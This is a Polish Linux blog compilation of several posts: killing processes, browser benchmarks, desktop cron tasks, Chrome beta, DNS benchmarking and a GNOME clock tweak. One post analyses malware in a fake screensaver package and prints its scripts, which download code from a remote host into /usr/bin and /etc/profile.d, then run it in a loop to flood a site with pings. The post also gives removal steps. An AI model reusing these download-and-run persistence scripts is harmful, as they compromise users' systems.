Co po ciężkim dniu przywróci nam błogi uśmiech i rumieńce na szarą twarz? Upuszczenie paru bitów z wrażych procesów, personifikujących całe zepsucie tego świata…

Kill, kill…

Kill to narzędzie o prostej budowie. Przesyła do kernela prośbę o unicestwienie wybranego procesu (SIGKILL). Potrafi też prosić o inne rzeczy (SIGTERM – poprawne zamknięcie, SIGSTOP – zatrzymanie procesu, itp), ale ponieważ jesteśmy na wojnie, będziemy procesy zabijać. Stąd SIGKILL. Destrukcji procesu można dokonać na dwa sposoby:

kill -KILL numer_pid
kill -9 numer_pid

Skomplikowane? Być może. Rozkładając to na czynniki pierwsze, mamy – kill, nasze polecenie, -KILL lub -9 – sygnał żądania, numer_pid – numer procesu który chcemy puścić z dymem. O co chodzi z tymi sygnałami? Jest ich kilka (jak wspomniałem wcześniej), wszystkie można sobie sprawdzić wpisując kill -l – jako parametr polecenie można podawać ich nazwę lub numer. Numer PID też może brzmieć nijako, a jest to najzwyczajniej w świecie numerek przypisany do konkretnego programu – taka niby metka. Dlatego polecenie kill potrafi bezbłędnie ustrzelić ten proces o którym nam chodzi (numery procesów pokaże nam polecenie ps).

Nie czas na te numery, killall

Jeżeli jesteśmy mocno zaaferowani, numery procesów mogą się nam dwoić i troić przed oczyma. Dlatego też powstało polecenie killall, któremu wystarczy podać nazwę procesu, aby killall go dopadł:

killall -9 firefox-bin


Zasada podobna jak powyżej – podajemy numer lub nazwę sygnału (nadal interesuje nas tylko 9, czyli SIGKILL). Niestety, to narzędzie też ma denerwującą czasem przypadłość – nazwa procesu musi być dokładnie podana, dlatego nie wystarczy ‚firefox’ a ‚firefox-bin’. Nieporęcznie?

Piszę i znikasz, pkill

W mniej precyzyjnym szale zniszczenia zakrojonym na większą skalę to właśnie pkill jest tym, co dobrze mieć pod ręką. Polecenie to zabije wszystkie procesy, które w jakimś stopniu będą pasowały z nazwy do podanego przez nas parametru:

pkill firefox

Powyższe wytłucze do ostatniego wszystkie procesy zawierające w nazwie ‚firefox’. Aby upewnić się, w co trafi pkill, można wylistować kandydatów do odstrzału:

pgrep -l firefox

I ew. zmienić nieco kryteria. Kolejna przydatna rzecz narzędzia pkill (jak i killall) to parametr -u nazwa_użytkownika. Dzięki niemu tylko podany użytkownik zostanie ogołocony z posiadanych procesów o podanej nazwie:

pkill -u panjozek firefox

Tylko nudziarze używają konsoli, xkill

Powyższe krwawe żniwa odbywały się za pomocą konsoli tekstowej. To skuteczne, szybkie i precyzyjne narzędzie, nie ma co udawać, że Linux go nie posiada. Jednak zwieńczeniem radosnego wycinania procesów może być polecenie xkill, które w środowisku graficznym pozwoli nam wskazać kliknięciem okno nielubianego programu. A co dalej się z nim stanie, to już wiecie.

Wygodnie jest przypisać sobie to polecenie pod skrót klawiszowy (u mnie ctrl + delete).

Oczywiście temat zabijania procesów nie został wyczerpany, jak też opis tych poleceń nie zawiera wszystkich dostępnych w nich parametrów. Jednak, do codziennego szybkiego radzenia sobie w krytycznych sytuacjach, proste metody opisane powyżej będą jak znalazł.

„War has never been so much fun…”

Zbliżają się święta, a że będzie jeszcze gorzej, stąd ta tematyka najbliżej opisująca stan ducha, który udziela się podczas codziennego przeciskania się przez tłum prących donikąd ludzi.

Parę wpisów wstecz temu, udowadniałem sobie i Wam, jakim przełomem może się okazać przeglądarka Midori, która uzyskiwała w testach prędkościowych zupełnie przyzwoite wyniki. Wyniki w porównaniu do Firefoksa 3.5 były nawet świetne, przyrost prędkości rzędu 30% – 40%. Zupełna bomba, jak na amatorską przeglądarkę rozwijaną przez dość skromną liczbę developerów.

Ponieważ sytuacja na rynku przeglądarek dynamiczną jest, z ciekawości postanowiłem uzupełnić dane o Google Chrome Beta, które ostatnio pojawiło się dla Linuksa (w wersji oficjalnie ogłoszonej i anonsowanej na stronie Google). Dokonałem dodatkowych testów na laptopie z Ubuntu 9.04, za pomocą tych samych stron co poprzednio (SunSpider oraz JSBenchmark).

Dla pewności powtórzyłem testy dla pozostałych przeglądarek (nowszych wersji, bo Firefox to już 3.5.5 a Midori to 0.2.1), ale nie przyniosły zmian. Oczywiście powyłączane miałem wszelkie dodatki typu blokowanie reklam, itp. A wyniki…

Cóż mogę powiedzieć… Ja naprawdę lubię Firefoksa, ale liczby w benchmarkach go dewastują…

Nie wiem, czy to przypadłość Firefoksa tylko pod Linuksem, ale daje to bardzo do myślenia.

Jeżeli ‚coś’ się nie zmieni w Gecko, to możemy niedługo zastanawiać się, po co Firefox wspiął się tak wysoko na drabinkę, skoro z takim hukiem wylądował. Zasadniczo podchodzę do Google i ich polityki wobec danych użytkownika z dużą rezerwą. Ale jeżeli światła dziennego nie ujrzy jakaś afera w tym temacie z udziałem tej firmy, to wątpię, czy coś zatrzyma pochód ich produktów, a na pewno Google Chrome. Chyba, że Firefox zacznie w końcu mocniej prężyć muskuły.

AKTUALIZACJA

Wykonałem testy dla kolejnych przeglądarek i dodałem do zestawienia Firefoksa w wersji 3.6b4 i 3.7a1pre. Poprawiają ogólny wizerunek tej przeglądarki, choć do lidera nadal długa droga. Midori oparta na WebKit’cie jest już w zasięgu nowego Firefoksa.

Przepuściłem także przez maszynę testującą Operę 10.10. Niestety, wyniki są kompletnie nieadekwatne do zachowania tej przeglądarki. Strony wyświetlają i przełączają się w miarę sensownie, a wg. testów Opera stoi w miejscu i nie działa – JSBenchmark to 50 punktów (im więcej tym lepiej), SunSpider to 7450 ms (sic! Im mniej tym lepiej). Może znajdę jakiś tajny przełącznik w tej przeglądarce 🙂

Cron to jedna z niemal zapomnianych przez zwykłego użytkownika usług. Czasem wręcz nawet nie znana. Nic w tym dziwnego, bo każdy kto nie parał się obsługą serwerów, po przeczytaniu opisu jak wykonywać cyklicznie komendy/skrypty na Cron’ie, może mieć ciężki orzech do zgryzienia.

Jednak mamy nowy, lepszy, XXI wiek i wszystko da się zrobić prościej – nawet dogadanie się z Cron to nie jest już ekwilibrystyka konsolowa. Poznajcie zatem mój sposób na wykorzystanie Cron’a na zwykłym desktopie. Opis jest optymalny dla komputerów korzystających z Gnome/XFCE4 (lub ogólnie środowiska wykorzystującego GTK2).

Poznaj nowego-starego przyjaciela

Na początek nieco kurtuazji – oto Cron, cyt. „daemon zajmujący się okresowym wywoływaniem innych programów”. Innymi słowy, jest to usługa która tyka sobie w tle systemu operacyjnego, by w określonym przez użytkownika momencie, wykonać przypisane dla tego przedziału czasowego zadania/programy/skrypty. Ambitni mogą zapoznać się z zawartością pliku /etc/crontab i katalogów /etc/cron.*. Jednak nie czas na zabawy w konsoli.

Graficzna twarz Cron’a

By uniknąć zagmatwania się w opisy dotyczące poszczególnych plików konfiguracyjnych, oraz na przekór wszystkim złym prorok twierdzącym ‚bez pracy w konsoli do Linuksa nie podchodź’, zainstalujemy sobie pewien program. Program, który ujawni nam inne, bardziej medialne oblicze Cron’a. Programem tym jest gnome-schedule. W repozytoriach Debiana (Sid) znajdziemy wersję 2.1.1, w repozytoriach Ubuntu Jaunty – 2.0.2, Ubuntu Karmic i Ubuntu Lucid – 2.1.0. Wszystkie działają w ten sam sposób, drastycznych różnic pomiędzy wersjami nie ma. Program instalujemy, tak jak lubimy – albo za pomocą Synaptica albo apt-get install gnome-schedule. Gnome-schedule wymaga zainstalowanych: python-gtk2, python-support, python-gnome2, python-glade2 – to na wypadek, gdyby komuś zależności się buntowały.

Lista obowiązków

Jeżeli instalacja się powiodła, program znajdziemy w menu pod swojska brzmiącą nazwą Scheduled tasks. Niestety, nie jest on jeszcze do końca spolszczony, zatem trzeba wykazać minimum intuicji anglojęzycznej przy przełączaniu opcji.

Główne okno prezentuje nam listę obowiązków naszego przyjaciela Cron’a. Działania te dzielą się na wykonywane co jakiś czas (Recurrent), oraz jednorazowe (Once). Pierwsza ikonka z lewej (‚Nowy’) pozwala skonfigurować nam takie zadanie i dodać je do listy. Kolejne ikony to ‚Edycja’ wybranego zadania, ‚Usuń’ – to chyba oczywiste, oraz ‚Run Task’ – by przetestować dodaną czynność (nie zawsze działa?). ‚Templates’ i ‚Advanced’ umożliwiają, odpowiednio, zarządzenie schematami zadań (tworzone zadania można dopisywać do tej listy, bo potem nie tworzyć ich ponownie) oraz przełączanie widoku listy wg. nomenklatury Cron’a.

Pragnąłbym, aby…

Po wduszeniu ikony ‚Nowy’ i wyborze typu zadania, ukazuje się nam zgrabne okienko, w którym będziemy mogli poprosić Cron’a o zrobienie różnych rzeczy.

Zaczynając od końca – zagłębiamy się w specyfikę cyklicznego wykonywania poleceń. Do wyboru mamy dwa tryby konfiguracji okresu występowania zdarzenia:

‚Basic’ – określamy, by Cron uruchomił nasze polecenie o każdej pełnej minucie, bądź godzinie, dniu, miesiącu, tygodnia, itp.

‚Advanced’ – aby wymknąć się ramom ‚pełnej godziny/minuty/itp’, w tym trybie mamy możliwość dokładnego ustalenia, o której minucie/godzinie/dniu miesiąca/miesiącu roku/dnia tygodnia ma się coś wykonać

Po ustaleniu terminu, w górnej części okna nadajemy nazwę zadaniu (‚Description’ – by ładnie prezentowało się na liście), oraz najważniejsza część ‚Command’ – co też Cron powinien uruchomić. Tu napotykamy pierwszy zgrzyt, bo jeśli ktoś oczekiwał, że będzie stawiał ptaszki przy liście programów, które się mają wykonać – tak nie będzie. Dlaczego? Taka jest specyfika Linuksa i już. Dzięki temu, mamy pełną kontrolę i swobodę, co ma się wykonywać. Niestety, trzeba będzie znać nazwy programów/poleceń.

Mów do mnie jeszcze, czyli teorii łyk

Linijka ‚Command’ jest na tyle istotna, że wymaga dokładniejszego omówienia. Chcemy, aby np. o godzinie 13.00 uruchamiał się nam klient poczty. Wpisujemy zatem nazwę programu, np. thunderbird. I co? I nic się nie uruchomi. Frustracja.

Potrzebne jest zrozumienie pewnych zasad, którymi rządzi się Cron. Wszystko co mu każemy uruchomić, uruchamia on z prawami użytkownika (naszymi), jednak we własnym środowisku które domyślnie nie posiada żadnych zmiennych. Dlatego wszystko musimy mu podać jak na tacy, jeśli chcemy, żeby działanie odniosło skutek dla naszego pulpitu. To oczywiście sytuacja skrajna, bo gdy będziemy wykonywali komendy, które nie czują konieczności wizualizacji swojego działania na ekranie użytkownika, to ten problem odpada.

Ta specyfika braku wartości w zmiennych, skutkuje też tym, że wpisując nazwę programu musimy podać pełną ścieżkę do niego (jedna ze zmiennych to PATH, która przechowuje domyślne ścieżki, które system ma przeszukiwać, jeśli wpisujemy jakieś polecenie. Dlatego piszemy ‚ls’, a nie ‚/bin/ls’). Czyli nie ‚thunderbird’, ale ‚/usr/bin/thunderbird’. Dociekliwi zauważą, że możliwe są proste sposoby, aby jednak skrypt uruchamiany przez Cron’a posiadał zmienne ze środowiska użytkownika – ale póki co, rozważamy podstawy.

Wiemy już, że polecenia w linii ‚Command’ musimy wpisywać wraz ze ścieżką (/bin/ls, /usr/bin/thunderbird, /usr/bin/xclock). Skąd dowiemy się, gdzie ukrywa się jakiś program? Najszybciej wpisując w konsoli ‚whereis nazwa_programu’ – otrzymamy ścieżkę/ścieżki prowadzące do tej nazwy.

Wiemy też, że program uruchomione w środowisku Cron’a nie wyświetli się nam na pulpicie. Znowu za pomocą magicznej zmiennej, pokażemy mu gdzie jest ekran X’ów. Przed każdym poleceniem wpiszemy DISPLAY=:0.0, bo w większości przypadków nieawaryjnych, właśnie taki numer ma ‚ekran’ graficzny naszego serwera X.

Tyle wywodów, a dla tych którzy znoszą cierpliwie tę pisaninę by dowiedzieć się, co po prostu wpisać, żeby zadziałało:

DISPLAY=:0.0 /usr/bin/thunderbird

No po co mi to wszystko

Można powiedzieć, sukces. Mamy listę zadań, dopisujemy sobie swoje własne polecenia, które uruchomią się o takim, a nie innym czasie. Czegoś brakuje? Ciągle funkcjonalności. Po pierwsze, co nam po Thunderbirdzie startującym o godzinie, jeśli ikonkę do uruchomienia mamy w zasięgu myszki. Po drugie, czy ten Cron potrafi się z nami komunikować w jakiś sposób, tak, byśmy wiedzieli co się dzieje, bez zerkania do logów systemowych?

Odpowiadając na pytanie drugie – tak, potrafi. Wszyscy znają i lubią piękne ‚dymki’ wyświetlające różne informacje. Zróbmy tak, aby wyświetlały nam, co się dzieje w Cronie!

Do tego celu potrzebujemy paczki libnotify-bin. Po instalacji (jak zawsze), dostaniemy do rąk program pt. ‚notify-send’. Co mu podamy jako parametr, to on nam to pięknie wyświetli w dymku. Rozwijamy zatem naszą linijkę poleceń dla Cron’a.

DISPLAY=:0.0 /usr/bin/notify-send "Cron" "Uruchamiam klienta poczty. Sprawdź wiadomości." -i notification-message-email && DISPLAY=:0.0 /usr/bin/thunerbird

Powyższym zestawień poleceń rozwiązujemy dwie kwestie, a nawet trzy. Pierwsza, to dzięki zmiennej DISPLAY przed każdym poleceniem, wynik jego działania będzie wiedział, gdzie się wyświetlić. Po drugie, notify-send poinformuje nas, co Cron zamierza – można z tego stworzyć niejako standard przy konstruowaniu zadań dla Cron’a. Po trzecie, dzięki ‚&&‚ między poleceniami, możemy wykonać ich w jednej linii, ile chcemy.

Nabrało to wszystko lekkich rumieńców, czyż nie?

Praktyka

Do czego to wszystko może się przydać? No cóż…

Tworzenie backup’ów. Zechcemy zabezpieczyć przed przypadkowym zepsuciem np. katalog .config? Proszę bardzo:

DISPLAY=:0.0 /usr/bin/notify-send "Cron" "Tworzenie kopii zapasowej katalogu .config do ~/_backup" -i notification-message-email && /usr/bin/mkdir /home/nazwa_uzytkownika/_backup && /usr/bin/tar cfz /home/nazwa_uzytkownika/_backup/config.tgz /home/nazwa_uzytkownika/.config

Chcemy przeskanować programem antywirusowym katalog, do którego ściągamy pliki z internetu? (Aby nie rozdawać zarażonych znajomym):

DISPLAY=:0.0 /usr/bin/notify-send "Cron" "Sprawdzam antywirusem katalog 'Pobrane'" -i notification-message-email && DISPLAY=:0.0 /usr/bin/clamtk /home/nazwa_uzytkownika/Pobrane

Czyszczenie katalogu domowego z plików *.*~ (tymczasowe backupy edytowanych plików – uwaga, upewnij się, że na pewno tego chcesz!):

DISPLAY=:0.0 /usr/bin/notify-send "Cron" "Czyszczę katalog domowy z plików *.*~" -i notification-message-email && /usr/bin/find ./ -name *.*~ -print0 | /usr/bin/xargs -0 /bin/rm

Co jakiś czas Cron użyje zasugeruje, żebyś po prostu rozprostować kości.

DISPLAY=:0.0 /usr/bin/notify-send "Cron" "Podejdź do okna i sprawdź, czy na zewnątrz istnieje jeszcze ludzka cywilizacja w takiej formie jak pamiętasz" -i notification-message-email

Niby nic, a cieszy

To już koniec opowieści. Dotarliśmy do wielkiego finału.

Jak widać, Cron może się przydać i na zwykłym komputerze biurkowym. Uproszczenie jego obsługi (Crona) za pomocą programu gnome-schedule to niewątpliwy krok naprzód, nadal straszą nieco ciągi poleceń, które wpisujemy jako zadania do uruchomienia. Ale to taki urok systemu. Cron nie jest też przymusem – można się bez niego obyć, jeżeli powyższe zestawy poleceń wywołują u Ciebie ból zębów.

Temat nie został oczywiście wyczerpany. Gnome-schedule posiada jeszcze ukryty hidden-screen, do którego dostaniemy się po uruchomieniu go przez ‚gksu gnome-schedule’. Pojawi się wtedy opcja tworzenia zadań wykonywanych z uprawnieniami root’a, oraz dostęp do zadań wszystkich użytkowników.

Szczególnie interesujące i pociągające jest wykonywanie zadań z prawami root’a. Co pierwsze przychodzi na myśl? Np. czyszczenie dysku z zalegających paczek w /var/cache/apt/archives.

Ale to już inna opowieść.

Na Linuksa nie ma wirusów – tak odpowie niemal każdy zaznajomiony ze specyfiką tego systemu. I o ile w przypadku samorozprzestrzeniających się wirusów jest to niemal prawda, o tyle nie mówi się głośno o problemie złośliwego oprogramowania (malware), które może narobić np. bigosu z plikami użytkownika. Mit niezłomnego systemu chyli się w mroczną przepaść?

A jest wyjątkowa okoliczność by wspomnieć o tym, bowiem parę godzin temu znaleziono na stronie http://gnome-look.org dwie paczki ze złośliwym kodem. Jedna z rzeczonych paczek .deb została umieszczona w kategorii ‚wygaszacze ekranu’ (pod nazwą ‚ninja’) i każdy kto ją zainstalował nowego wygaszacza na pewno nie zobaczył. A co zobaczył? Wynik uruchomienia takiego ‚instalatora’:

#!/bin/sh
cd /usr/bin/
rm Auto.bash
sleep 1
wget http://05748.t35.com/Bots/Auto.bash
chmod 777 Auto.bash
echo —————–
cd /etc/profile.d/
rm gnome.sh
sleep 1
wget http://05748.t35.com/Bots/gnome.sh
chmod 777 gnome.sh
echo —————–
clear
exit

Nie da się ukryć, że ten skrypt nie wygląda normalnie. Całość jest wykonywana przy każdym zalogowaniu przez umieszczony w /etc/profile.d/ plik gnome.sh (zawiera komendę /usr/bin/Auto.bash&). Na szczęście, całość wykonuje tylko prosty atak DDOS (?). Zawartość pliku Auto.bash:

while :
do
rm /usr/bin/run.bash
cd /usr/bin/
wget http://05748.t35.com/Bots/index.php
wget http://05748.t35.com/Bots/run.bash
sleep 4
rm index.php
chmod 755 run.bash
command -p /usr/bin/run.bash
done

Skrypt run.bash wykonuje:

ping -s 65507 www.mmowned.com

Prawdopodobnie celem jest zebranie adresów IP komputerów z zainstalowanymi powyżej skryptami lub zDDOSowania mmowned.com (?).

Enigmatyczny plik index.php też nie wyjaśnia swojej roli w całym tym przedsięwzięciu – nie wklejam go, bo to zlepek skryptów.

<!-- T35 Hosting Ad Code Begin --> 
<style type="text/css"> 
#t35ad{font: 14px  arial,helvetica; text-decoration: none; line-height:1.5em; text-align: center; }
#t35ad a{font: 14px  arial,helvetica; text-decoration: none; }
#t35ad a:hover{background-color: black; color: white; font-size:medium; font-weight: bold; }
#t35ad ul{display: inline; list-style-type: none; padding: 0;}
#navlist li{display: inline; list-style-type: none; padding-right: 0px; padding-left: 0px; padding: 0;}
</style> 
<script type="text/javascript" charset="utf-8"> 
  var redvase_ad = { version: 1.5 };
  redvase_ad.publisher = 't35';
  redvase_ad.kind      = 't35_footer_prem';
  redvase_ad.content   = 'creative'
  </script> 
<script src="http://redvase.bravenet.com/javascripts/redvase.js" type="text/javascript" charset="utf-8"></script> 
<!-- T35 Hosting Ad Code End --> 
</noscript></noframes> 
<!-- T35 Hosting Ad Code Begin --> 
<!-- Start of Stat Code --> 
<img src="http://c11.statcounter.com/1120767/0/78e6f3a5/1/" width="1" height="1" alt="stats" border="0" /> 
<script type="text/javascript"> 
_qoptions={
qacct:"p-f2Rp-GHnsAESA"
};
</script><script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script> 
<noscript><img src="http://pixel.quantserve.com/pixel/p-f2Rp-GHnsAESA.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/></noscript> 
<!-- End of Stat Code --> 
<div id="t35ad" align="center" style="display:block;"> 
<br/>Hosted by <a target="_blank" href="http://www.t35.com/">T35 Free Web Hosting</a>.
<a target=_blank href=http://www.saharamakeup.co.uk/>Indian Bridal Makeup</a> - <a target=_blank href=http://www.hypercasinos.com/component/option,com_jreviews/Itemid,28/>Casino Reviews</a> - <a target=_blank href=http://www.www.mckennavw.com/>VW Los Angeles</a> - <a target="_blank" href="http://www.drugrehabcenter.com/">Drug Rehab</a> - <a target=_blank href=http://www.bestonlinecollegesdegrees.com/college-degrees-online.html>Online Degree</a> - <a target=_blank href=http://www.uk-cheapest.co.uk>Domains</a> - <a target=_blank href=http://www.fashiondrops.com/>Prada Shoes</a> - <a target=_blank href=http://www.thelabdesign.com/organic-seo.html>SEO Los Angeles</a> 
</div>

Jeżeli ktoś zainstalował tę paczkę, pozostaje mu wykonać operację na żywym organizmie:

sudo rm -f /usr/bin/Auto.bash /usr/bin/run.bash /etc/profile.d/gnome.sh index.php run.bash && sudo dpkg -r app5552

Jaki morał wynika z tej historii? Ano taki, że przyganiał kocioł garnkowi. Wraz ze wzrostem uproszczeń w systemie Linux, staje się on podobnym celem dla złoczyńców, co i Windows. Czynnikiem decydującym pozostaje człowiek, który w imię wygody nie będzie zastanawiał się, po co jest potrzebne hasło administratora, ani też z jakiego źródła pochodzi paczka. Może nie będziemy świadkami takiego pogromu, jak w systemie Windows. Ale co z tego, że unikniemy rozprzestrzeniających się wirusów, jeśli jakiś drań za pomocą skryptów, które sami ochoczo zainstalujemy, usunie nam z dysku wszystkie pliki należące do nas? (każdy w miarę znający Bash’a jest w stanie to napisać).

Dlatego proponuję trzymać się sprawdzonych źródeł oprogramowania (oficjalne repozytoria lub repozytoria dodatkowe o sprawdzonej renomie, PPA).

Fakt godny odnotowania.

Pojawiła się pierwsza oficjalna BETA (do ściągnięcia ze strony Google) przeglądarki Chrome w wersji dla Linuksa. Do pobrania są paczki .deb dla Debiana/Ubuntu oraz .rpm dla Fedory/openSUSE.

Przeglądarka przedstawia się numerkiem 4.0.249.30, komunikuje się z nami w języku polskim, a po zainstalowaniu rozszerzenia AdThwart, które zablokuje reklamy – da się pracować. Jeżeli nie ma się specyficznych wymagań, to praca przebiega sprawnie i płynnie. Ciekawe, jak Firefox sobie poradzi w obliczu nowej konkurencji.

EDYCJA:

Jeżeli ktoś woli instalować oprogramowanie z repozytoriów (zalecane), to dla Ubuntu i Debiana należy dodać następujące do /etc/apt/sources.list:

deb http://dl.google.com/linux/deb/ stable main

I następnie apt-get update;apt-get install google-chrome-beta. W repozytorium znajduje się też wersja google-chrome-unstable – w chwili obecnej posiada tę samą numerację, co google-chrome-beta, ale w przyszłości być może będzie to wersja rozwojowa.

Przy okazji pokazania się w sieci kolejnych publicznych serwerów DNS, rozgorzała dyskusja, czy dla naszego regionu (Polska) serwery Google wnoszą jakąkolwiek nową jakość.

Za pomocą sprawnego programiku namebench, każdy może samodzielnie sprawdzić, który serwer rozwiązujący nazwy jest dla niego najlepszy (najszybszy czas dostępu, najmniej błędów, itp). Z podanej wcześniej lokalizacji, ściągamy archiwum .tgz, wypakowujemy w jakieś ustronne miejsce, przechodzimy do nowo utworzonego katalogu i klikamy na plik namebench.py (witaj XXI wieku! Dla przeciwników udogodnień, można w konsoli wejść do tego samego katalogu i odpalić rzeczony program ./namebench.py).

Pojawi się nam gustowne okienko:

Program odczyta serwery nazw jakie mamy wpisane w /etc/resolv.conf i wstawi je na listę testowanych serwerów (u samej góry). Możemy sobie te serwery wpisać tam samodzielnie.

Dwie poniższe opcje dotyczą tego, czy mają brać udział w benchmarku serwery ogólne (publiczne, takie jak OpenDNS i inne) oraz regionalne (krajowe dla miejsca zamieszkania testującego).

Kolejne opcja to wybór, jakie nazwy domen mają zostać użyte w teście – program przegląda historię zainstalowanych przeglądarek i wykona test na najczęściej odwiedzanych przez nas stronach (domenach), bądź skorzysta z globalnej listy najczęściej odwiedzanych serwerów (Alexa Top Global Domains). W okienku obok wpisujemy liczbę odpytań, poniżej wybieramy sposób doboru domen, oraz ilość sprawdzeń.

Klikamy ‚Start Benchmark’ i czekamy.

Program po wykonaniu testów, wyświetli je w ładnej formie w przeglądarce.

Co prawda, z tych testów nic odkrywczego nie wynika. Najlepiej jest używać jak najbliższego serwera. Pod warunkiem, że serwer ten nie jest przeładowany i sam z siebie nie generuje opóźnień w rozwiązywaniu nazw.

Google ogłosiło uruchomienie swoich publicznych serwerów DNS. Czym się one różnią od innych publicznych serwerów DNS udostępnionych przez OpenDNS?

Zatem, gdy ktoś nie ma swoich DNS’ów, teraz ma i to nawet z możliwością wyboru.

Wbrew tytułowi nie będziemy w stanie naprawić budzika po tych praktykach. Ale ustawimy sobie zegar na panelu Gnome tak, żeby wyglądały inaczej, niż do tej pory.

Opis tego tricku rzucił mi się w oczy na tej stronie. Dotyczy on jednak ustawień dla wersji Ubuntu 9.10, a czy to samo zadziała w 9.04? Nie do końca w ten sam sposób, ale zadziała.

Gdy widzę nazwę gconf-editor, zaczyna boleć mnie ząb, losowy. Gdy otwieram ten program i zaczynam rozwijać listy z zmiennymi i wartościami, włącza się ból brzucha (wątroba?). Zasadniczo, tego programu używa się tylko wtedy, gdy się wie, gdzie i co się chce zmienić. Dobrze zatem, ktoś wykonał czarną robotę i wyczaił, gdzie znajdują się ustawienia apletów na panelu. Skorzystajmy z tej wiedzy. Naszym zamierzeniem jest wygląd zegara jak poniżej.

Zakładamy fartuch i gumowe rękawice. Do dzieła.

W wersji 9.04, po uruchomieniu gconf-editor (alt+f2, wpisujemy nazwę), przechodzimy do apps -> panel -> applets. I teraz zaczynają się lekkie schody, gdyż aplety nie występują tam pod swoimi nazwami, tylko w formie zakamuflowanej – żeby nie było za prosto. Przyda się tutaj metoda ‚macajewa’ – otwieramy po kolei każdy wpis applet_XX, klikamy na prefs i wypatrujemy czegoś, co skojarzy się nam z zegarem. Kierujmy się za nazwami zmiennych: gmt_time, hour_format, show_date, custom_format, format.

Gdy znajdziemy odpowiedni aplet, postępujemy jak podpowiada zdrowy rozsądek:

– zmieniamy wartość dla custom_format na
<span size="smaller"><small><tt>%b%d%a%n</tt><b>%H:%M</b></small></span>
– zmieniamy wartość dla format na custom (wpisujemy)

Koniec zajęć. W domu na spokojnie można zapoznać się z zasadami formatowaniem, by ewentualnie dopieścić styl zegara do swoich potrzeb.

Dla mnie taki zapis ma jedną niepodważalną zaletę – używam jednego panelu z listą okien, więc miejsce jest cenne, a taki styl pozwala na oszczędności.